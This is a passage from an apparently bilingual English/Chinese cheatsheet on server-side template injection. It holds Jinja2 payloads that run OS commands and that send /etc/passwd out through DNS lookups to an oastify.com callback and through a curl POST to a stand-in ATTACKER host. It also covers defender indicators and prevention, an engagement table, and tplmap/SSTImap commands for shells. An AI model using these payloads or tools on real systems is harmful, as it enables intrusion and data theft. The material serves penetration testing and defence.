{{self.__init__.__globals__.__builtins__.__import__('os').popen('uname -a').read()}}

8.5 SSTI to Data Exfiltration

8.5 SSTI 到数据外传

python
undefined
python
undefined

Chunked DNS exfil

Chunked DNS exfil

{{self.init.globals.builtins.import('os').popen('cat /etc/passwd | base64 -w0 | cut -c1-60 | xargs -I{} nslookup {}.UNIQUE.oastify.com').read()}}
{{self.init.globals.builtins.import('os').popen('cat /etc/passwd | base64 -w0 | cut -c1-60 | xargs -I{} nslookup {}.UNIQUE.oastify.com').read()}}

HTTP POST exfil

HTTP POST exfil

{{self.init.globals.builtins.import('os').popen('curl -X POST -d @/etc/passwd http://ATTACKER/exfil').read()}}

---
{{self.init.globals.builtins.import('os').popen('curl -X POST -d @/etc/passwd http://ATTACKER/exfil').read()}}

---

Detection / Defender View

检测与防御方视角

Indicators of Attack:
  • Template delimiters in input:
    {{
    ,
    {%
    ,
    <%
    ,
    #{
    ,
    #set(
    ,
    <#assign
    .
  • MRO strings:
    __class__
    ,
    __mro__
    ,
    __subclasses__
    ,
    __globals__
    ,
    __builtins__
    .
  • Java reflection:
    getRuntime
    ,
    ProcessBuilder
    ,
    forName
    ,
    T(java.lang
    .
  • Template errors in responses from user-triggered requests.
Indicators of Compromise:
  • Unexpected child processes from web workers (
    sh
    ,
    bash
    ,
    curl
    ,
    nslookup
    ).
  • New files in
    /tmp
    or web root created by the app process.
  • Outbound connections to callback services or unfamiliar IPs.
  • Cloud metadata access from containers that should not query 169.254.169.254.
Prevention:
  • Never concatenate user input into template strings -- use template variables.
  • Block dangerous APIs in CI:
    render_template_string()
    ,
    Template()
    with user input,
    Environment.from_string()
    .
  • Enable sandboxing: Jinja2
    SandboxedEnvironment
    , Freemarker
    SAFER_RESOLVER
    .
  • Restrict Twig filters/functions to a safe allowlist.
  • Disable
    {php}
    in Smarty,
    compileDebug
    in EJS, SpEL preprocessing in Thymeleaf.
  • Run apps with minimal privileges, seccomp/AppArmor, read-only root filesystems.
  • WAF rules as defense-in-depth (see section 6 for bypass techniques).
  • Track CVEs: CVE-2024-22195 (Jinja2 xmlattr bypass), CVE-2024-46507 (Yeti RCE).

攻击指标:
  • 输入中出现模板分隔符:
    {{
    、
    {%
    、
    <%
    、
    #{
    、
    #set(
    、
    <#assign
    。
  • MRO 字符串:
    __class__
    、
    __mro__
    、
    __subclasses__
    、
    __globals__
    、
    __builtins__
    。
  • Java 反射:
    getRuntime
    、
    ProcessBuilder
    、
    forName
    、
    T(java.lang
    。
  • 用户触发的请求响应中出现模板错误。
入侵指标:
  • Web worker 产生异常子进程(
    sh
    、
    bash
    、
    curl
    、
    nslookup
    )。
  • 应用进程在
    /tmp
    或 Web 根目录中创建新文件。
  • 向回调服务或陌生 IP 发起出站连接。
  • 本不应查询 169.254.169.254 的容器访问了云元数据。
防护措施:
  • 永远不要将用户输入拼接进模板字符串——应使用模板变量。
  • 在 CI 中阻止危险 API:使用用户输入调用
    render_template_string()
    、
    Template()
    或
    Environment.from_string()
    。
  • 启用沙箱:Jinja2
    SandboxedEnvironment
    、Freemarker
    SAFER_RESOLVER
    。
  • 将 Twig 过滤器/函数限制为安全允许列表。
  • 禁用 Smarty 的
    {php}
    、EJS 的
    compileDebug
    以及 Thymeleaf 的 SpEL 预处理。
  • 以最小权限运行应用,配合 seccomp/AppArmor 和只读根文件系统。
  • 将 WAF 规则作为纵深防御手段(绕过技术参见第 6 节)。
  • 跟踪 CVE:CVE-2024-22195(Jinja2 xmlattr 绕过)、CVE-2024-46507(Yeti RCE)。

Engagement Cheatsheet

渗透测试速查表

PhaseActionTool / Technique
ReconMap input reflection pointsBurp Suite, waybackurls, qsreplace
DetectionInject polyglot and arithmetic probesffuf, Burp Intruder, manual
FingerprintingIdentify engine via decision tree/errorsError signatures, variable probes
ValidationConfirm server-side executionTiming, source inspection
ExploitationApply engine-specific RCE chaintplmap, SSTImap, TInjA, manual
BypassEvade WAF/filtersSection 6 techniques
BlindOOB, time-based, error-based methodsBurp Collaborator, interactsh
EscalationChain to file read, SSRF, shell, privescSection 8 chains
ProofNon-destructive PoC with unique markerDNS callback, unique file
阶段操作工具/技术
侦察枚举输入反射点Burp Suite、waybackurls、qsreplace
检测注入多语言探针和算术探针ffuf、Burp Intruder、手动测试
指纹识别通过决策树/错误特征识别引擎错误特征、变量探针
验证确认服务端执行时间差、源代码检查
利用应用引擎专属 RCE 利用链tplmap、SSTImap、TInjA、手动利用
绕过规避 WAF/过滤器第 6 节技术
盲利用OOB、基于时间、基于错误的利用方法Burp Collaborator、interactsh
权限升级链式利用以读取文件、执行 SSRF、获取 Shell、提权第 8 节利用链
证明使用唯一标记生成非破坏性 PoCDNS 回调、唯一文件

Tool Quick Reference

工具快速参考

bash
undefined
bash
undefined

tplmap

tplmap

python tplmap.py -u 'http://target.example.com/page?name=test' # Basic scan python tplmap.py -u 'http://target.example.com/page?name=test' -e jinja2 # Force engine python tplmap.py -u 'http://target.example.com/page' -d 'name=test' # POST injection python tplmap.py -u 'http://target.example.com/page?name=test' --os-cmd id # Execute command python tplmap.py -u 'http://target.example.com/page?name=test' --os-shell # Interactive shell
python tplmap.py -u 'http://target.example.com/page?name=test' # Basic scan python tplmap.py -u 'http://target.example.com/page?name=test' -e jinja2 # Force engine python tplmap.py -u 'http://target.example.com/page' -d 'name=test' # POST injection python tplmap.py -u 'http://target.example.com/page?name=test' --os-cmd id # Execute command python tplmap.py -u 'http://target.example.com/page?name=test' --os-shell # Interactive shell

SSTImap

SSTImap

python3 sstimap.py -u 'https://target.example.com/page?name=test' # Auto-detect python3 sstimap.py -u 'https://target.example.com/page?name=test' -S # Shell python3 sstimap.py -u 'https://target.example.com/page?name=test' -C 'id' # Run command
python3 sstimap.py -u 'https://target.example.com/page?name=test' # Auto-detect python3 sstimap.py -u 'https://target.example.com/page?name=test' -S # Shell python3 sstimap.py -u 'https://target.example.com/page?name=test' -C 'id' # Run command

Parameter discovery

Parameter discovery

waybackurls http://target.example.com | qsreplace "ssti{{9*9}}" > fuzz.txt ffuf -u FUZZ -w fuzz.txt -replay-proxy http://127.0.0.1:8080/ -mr "ssti81" arjun -u http://target.example.com/page --stable

---
waybackurls http://target.example.com | qsreplace "ssti{{9*9}}" > fuzz.txt ffuf -u FUZZ -w fuzz.txt -replay-proxy http://127.0.0.1:8080/ -mr "ssti81" arjun -u http://target.example.com/page --stable

---

Key References

关键参考资料